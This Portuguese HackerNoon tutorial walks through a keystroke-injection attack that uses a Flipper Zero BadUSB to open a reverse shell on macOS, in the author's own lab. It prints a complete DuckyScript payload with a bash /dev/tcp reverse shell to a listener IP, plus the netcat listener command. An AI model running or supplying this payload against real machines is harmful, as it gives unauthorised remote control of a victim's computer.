paint-brush
Como obter um shell reverso no macOS usando um Flipper Zero como um BadUSBpor@fatman
34,263 leituras
34,263 leituras

Como obter um shell reverso no macOS usando um Flipper Zero como um BadUSB

por Scott Eggimann5m2022/12/05
Read on Terminal Reader

Muito longo; Para ler

Usando um Flipper Zero, um pequeno arquivo de texto DuckyScript e um ouvinte remoto em um servidor Ubuntu, consegui obter um shell no meu computador Mac.
featured image - Como obter um shell reverso no macOS usando um Flipper Zero como um BadUSB
Scott Eggimann HackerNoon profile picture

Usando um Flipper Zero, um pequeno arquivo de texto DuckyScript de 12 linhas e um ouvinte remoto em meu servidor Ubuntu, consegui obter um shell em meu computador Ventura macOS totalmente atualizado e atualizado.


Em meu ambiente de laboratório, uso o Flipper Zero como um dispositivo de pentesting para testar vulnerabilidades em meus servidores e sistemas de desktop.


O Flipper Zero é nossa ferramenta de hacking ético preferida porque oferece um número infinito de cargas disponíveis, possui uma ferramenta de seleção de menu na tela e usa uma exibição de progresso para fornecer feedback.


Este artigo é um exemplo de como usar o Flipper Zero como um dispositivo Ethical Petesting BadUSB e como evitar ser vítima de tal exploração. Não use isso em computadores que você não possui ou tem permissão para usar. Este código não tenta se esconder de sistemas de detecção de intrusão (IDS), sistemas de prevenção de intrusão (IPS), sistemas de detecção de rede, firewalls ou software antivírus (AV).

Cargas úteis de USB ruins

O Flipper Zero BadUSB, assim como vários outros dispositivos BadUSB, usam cargas escritas em DuckyScript. Uma linguagem de script simples para executar pressionamentos de tecla, resultando em um ataque de injeção de teclado.


Um bom ponto de referência inicial para Duckyscript Payloads é o site oficial do Hak5:

https://shop.hak5.org/blogs/payloads/tagged/usb-rubber-ducky . Aqui você encontrará exemplos e documentação para usar o DuckScript.

Vamos escrever um pouco de DuckyScript

Você pode usar um script pronto ou aprender a escrever o seu próprio. Mostraremos como explorar um shell reverso em um computador macOS em um passo a passo simples.


Use seu editor de texto favorito e digite o seguinte texto. O macOS tem o aplicativo TextEdit instalado por padrão, então vamos usá-lo.


ID 05ac:021e Apple:Keyboard

DELAY 1000

GUI SPACE

DELAY 200

STRING terminal

DELAY 200

ENTER

DELAY 1000

STRING bash -i >& /dev/tcp/10.10.10.157/4444 0>&1

DELAY 1000

ENTER

DELAY 1000


Para este passo a passo, não precisamos saber muito sobre o DuckyScript, então veremos alguns comandos que nosso script usa. Na verdade, existem apenas cinco comandos diferentes que usamos.

Comando

Descrição

ID 05ac:021e Apple:Teclado

Esta linha diz ao macOS que nosso Flipper Zero é realmente um teclado Apple. Se você não usar esta linha, o macOS exibirá a caixa de diálogo Assistente de configuração do teclado, que fará com que seu script falhe.

ATRASO

Este comando instrui o sistema operacional a aguardar um período de tempo. Se não usarmos esses atrasos, o script será executado muito rápido e falhará.

ESPAÇO GUI

Pressiona a tecla Apple Command e a barra de espaço para abrir a janela 'Spotlight Search'.

Terminal STRING

Insere a string 'Terminal' na janela de pesquisa do Spotlight

DIGITAR

Pressione a tecla ENTER ou Return em seu teclado. Depois de pressionar a tecla ENTER, o macOS inicia a janela do Terminal (/Aplicativos/Utilitários/Terminal)

STRING bash -i >& /dev/tcp/10.10.10.157/4444 0>&1

Este comando insere o texto na janela do terminal que estabelece uma conexão com o servidor Netcat escutando em 10.10.10.157 na porta 4444


Altere o endereço IP em 10.10.10.157 e a porta 4444 para o endereço IP e a porta do seu servidor.


Salve este arquivo em seu disco como rev_shell_macos.txt . Não há nenhuma organização de subdiretório no diretório badusb no Flipper Zero, portanto, se você estiver usando várias cargas úteis para diferentes sistemas operacionais, use uma convenção de nomenclatura que signifique algo para você, para que você saiba o que ela faz.

Instalando o aplicativo qflipper

Se você ainda não instalou o aplicativo qflipper, acesse a página de atualização oficial do Flipper Zero e selecione o instalador para o seu sistema operacional. A página é a página de atualização do firmware, mas na parte inferior há links para instalar o aplicativo qflipper.


https://flipperzero.one/update

Siga as instruções do seu sistema operacional para instalar o aplicativo qflipper.


Colocando o Duckyscript no Flipper Zero

Abra o aplicativo qflipper e selecione o ícone da pasta destacado em vermelho.


Selecione e clique duas vezes no ícone do cartão SD para visualizar o conteúdo.



Localize e arraste o arquivo rev_shell_macos.txt que criamos anteriormente para a pasta badusb .



Remova o Flipper Zero do seu computador quando o arquivo for copiado.

Esperando por um shell reverso

O Flipper Zero BadUSB está armado e pronto para uso. Mas primeiro, precisamos configurar nosso ouvinte remoto em nosso servidor. Em nosso servidor Ubuntu, inicie o ouvinte Netcat com o seguinte comando:


$ nc -nlvp 4444


A divisão do comando está listada na tabela a seguir. Novamente, você realmente não precisa saber o que está acontecendo usando este comando, além de estar esperando por uma conexão de entrada.

Comando

Opções

nc

comando netcat

-nlvp

( n ) sem resolução de DNS, ( l ) escuta a conexão de entrada, ( v ) saída detalhada, ( p ) porta

4444

Número da porta para escutar



Agora que nosso ouvinte Netcat está pronto e aguardando uma conexão de entrada, podemos prosseguir com o ataque Flipper Zero BadUSB.

Iniciando o BadUSB Reverse Shell

A parte difícil está feita. O arquivo Flipper Zero BadUSB reverse_shell_macos.txt é gravado, movido para o Flipper Zero e o ouvinte Netcat está aguardando uma conexão.


Localize o menu Bad USB e selecione o botão Executar. Não conecte seu Flipper Zero ao computador ainda. O Flipper Zero avisa quando é hora de conectar seu dispositivo.


Navegue até o arquivo DuckyScript que copiamos na etapa anterior. Se você não vir este arquivo, então você o copiou para o diretório errado. Selecione rev_shell_macos e clique no botão Executar.


Ao ver o alerta Conectar a USB , você pode conectar seu Flipper Zero à porta USB do seu iMac ou MacBook. Clique no botão Executar.


Você pode observar o progresso do seu script BadUSB na janela principal. Quando o status atingir 100%, a carga útil estará completa e você poderá remover o Flipper Zero.


Se você estiver observando o monitor do computador do iMac, poderá ver o exploit enquanto ele executa o DuckyScript. O ouvinte Netcat em nosso servidor Ubuntu exibe os resultados da solicitação bem-sucedida.

Controle do seu computador

Agora você tem controle do computador macOS por meio de um shell reverso. Executando em uma versão do BSD Linux, você pode usar as ferramentas de linha de comando do Unix e um shell BASH como se estivesse sentado no teclado do iMac físico.


Você pode usar comandos regulares do Linux como whoami , pwd , ls ou cd para navegar no sistema de arquivos e manipular o sistema operacional.


Próximos passos

Agora que você entendeu como o Flipper Zero funciona como um dispositivo BadUSB, você pode criar seus próprios scripts. Use o site Hak5 ou um dos muitos repositórios DuckyScript GitHub disponíveis por meio de uma pesquisa no Google como ponto de partida para seus próprios arquivos Duckyscript.


Atuar de forma legal e ética. Use esta ferramenta em dispositivos que você possui ou tem permissão para usar.